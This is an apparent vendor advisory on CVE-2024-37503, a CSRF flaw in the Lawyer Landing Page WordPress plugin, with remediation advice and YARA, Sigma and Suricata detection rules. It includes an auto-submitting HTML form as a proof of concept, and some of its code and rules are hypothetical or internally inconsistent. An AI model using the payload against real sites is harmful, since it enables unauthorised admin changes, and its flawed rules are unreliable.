CVE-2024-37503

Executive Summary

CVE-2024-37503 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Lawyer Landing Page plugin by Rarathemes, a WordPress ecosystem component. The flaw exists in all versions up to and including 1.2.4. An attacker can trick an authenticated administrator into performing unintended actions (e.g., modifying settings, creating malicious users) without their consent, leveraging the victim's active session. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch exists, users must manually remove or disable the plugin to mitigate risk. The lack of a CSRF nonce in the plugin's administrative actions is the root cause.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – attacker can modify plugin settings or perform state-changing actions.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires social engineering, but the impact is limited to integrity compromise of the plugin's configuration.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonce validation in the plugin's administrative endpoints. In WordPress, CSRF tokens (nonces) are used to verify that requests to admin-ajax.php or admin-post.php originate from the legitimate admin interface. The Lawyer Landing Page plugin fails to implement this check, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated admin, triggers a forged request.

Attack Flow:

1. Attacker crafts a malicious HTML page containing a hidden form or image tag that sends a POST request to the vulnerable plugin's admin action (e.g., admin-post.php?action=lawyer_landing_page_update_settings).
2. Attacker lures an authenticated WordPress admin to visit the page (e.g., via phishing email or compromised site).
3. The victim's browser automatically sends the forged request with their session cookies.
4. The plugin processes the request without verifying the CSRF nonce, leading to unauthorized changes (e.g., altering landing page content, injecting malicious scripts, or creating new admin users if the plugin has such capabilities).

Root Cause: Missing call to check_admin_referer() or wp_verify_nonce() in the plugin's request handler functions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically. A patched version would include CSRF nonce verification.

Vulnerable Code (PHP):

// In lawyer-landing-page/admin/class-lawyer-landing-page-admin.php
function handle_settings_update() {
    // No nonce check
    update_option('lawyer_landing_page_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=lawyer-landing-page'));
}

Patched Code (Hypothetical):

function handle_settings_update() {
    // Verify CSRF nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'lawyer_landing_page_update_settings')) {
        wp_die('Security check failed.');
    }
    update_option('lawyer_landing_page_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=lawyer-landing-page'));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the Lawyer Landing Page plugin (<=1.2.4) installed and an authenticated admin session.
• Attacker-controlled web server to host the malicious HTML page.

Exploitation Steps:

1. Identify the vulnerable admin action (e.g., via source code review or observing network requests).
2. Create a malicious HTML page that submits a forged request:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
  <input type="hidden" name="action" value="lawyer_landing_page_update_settings">
  <input type="hidden" name="settings[header_text]" value="Hacked by Attacker">
  <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

3. Host the page and send the link to the victim admin via email or social engineering.
4. Once the victim visits the page, the request is sent, and the plugin settings are altered.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection & Prevention:

• Monitor for unusual admin POST requests to admin-post.php with unexpected action parameters.
• Implement Web Application Firewall (WAF) rules to block requests missing a valid CSRF token.
• Educate administrators about phishing attacks and the importance of not clicking suspicious links.
• Disable or remove the plugin until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with action=lawyer_landing_page_* parameters without a valid _wpnonce field.
• File: Presence of unexpected modifications in the wp_options table under lawyer_landing_page_settings.
• Log: WordPress debug log entries showing failed nonce checks (if patched) or missing nonce warnings.
• Behavior: Unauthorized changes to the landing page content or plugin settings.

Detection Engineering

YARA Rule

rule CVE_2024_37503_CSRF_Lawyer_Landing_Page {
    meta:
        description = "Detects vulnerable Lawyer Landing Page plugin files missing CSRF nonce checks"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2024-37503"
    strings:
        $func_def = /function\s+\w+_handle_\w+/
        $no_nonce = /(?!.*check_admin_referer)(?!.*wp_verify_nonce).*update_option/
    condition:
        $func_def and $no_nonce
}

Sigma Rule

title: CVE-2024-37503 CSRF Exploitation Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests targeting Lawyer Landing Page admin actions without CSRF nonce
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=lawyer_landing_page_'
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not cs-uri-query|contains: '_wpnonce'
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37503 CSRF Attempt on Lawyer Landing Page"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=lawyer_landing_page_"; http_uri; pcre:"/^(?!.*_wpnonce).*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Lawyer Landing Page plugin from all WordPress installations until a patch is released.
2. Audit admin accounts – Check for any unauthorized changes or new users created via CSRF.
3. Implement CSRF protection – If the plugin is critical, manually add nonce checks to the plugin's PHP files (see patched code example).

Long-term:

• Monitor the vendor's website or WordPress plugin repository for an official update.
• Consider replacing the plugin with an alternative that is actively maintained.
• Enforce the use of security plugins (e.g., Wordfence) that add CSRF protection layers.

Workaround: Use a Web Application Firewall (WAF) to block requests to admin-post.php that lack a valid _wpnonce parameter, but this may break legitimate functionality.

Valters IT
Securing Digital Frontiers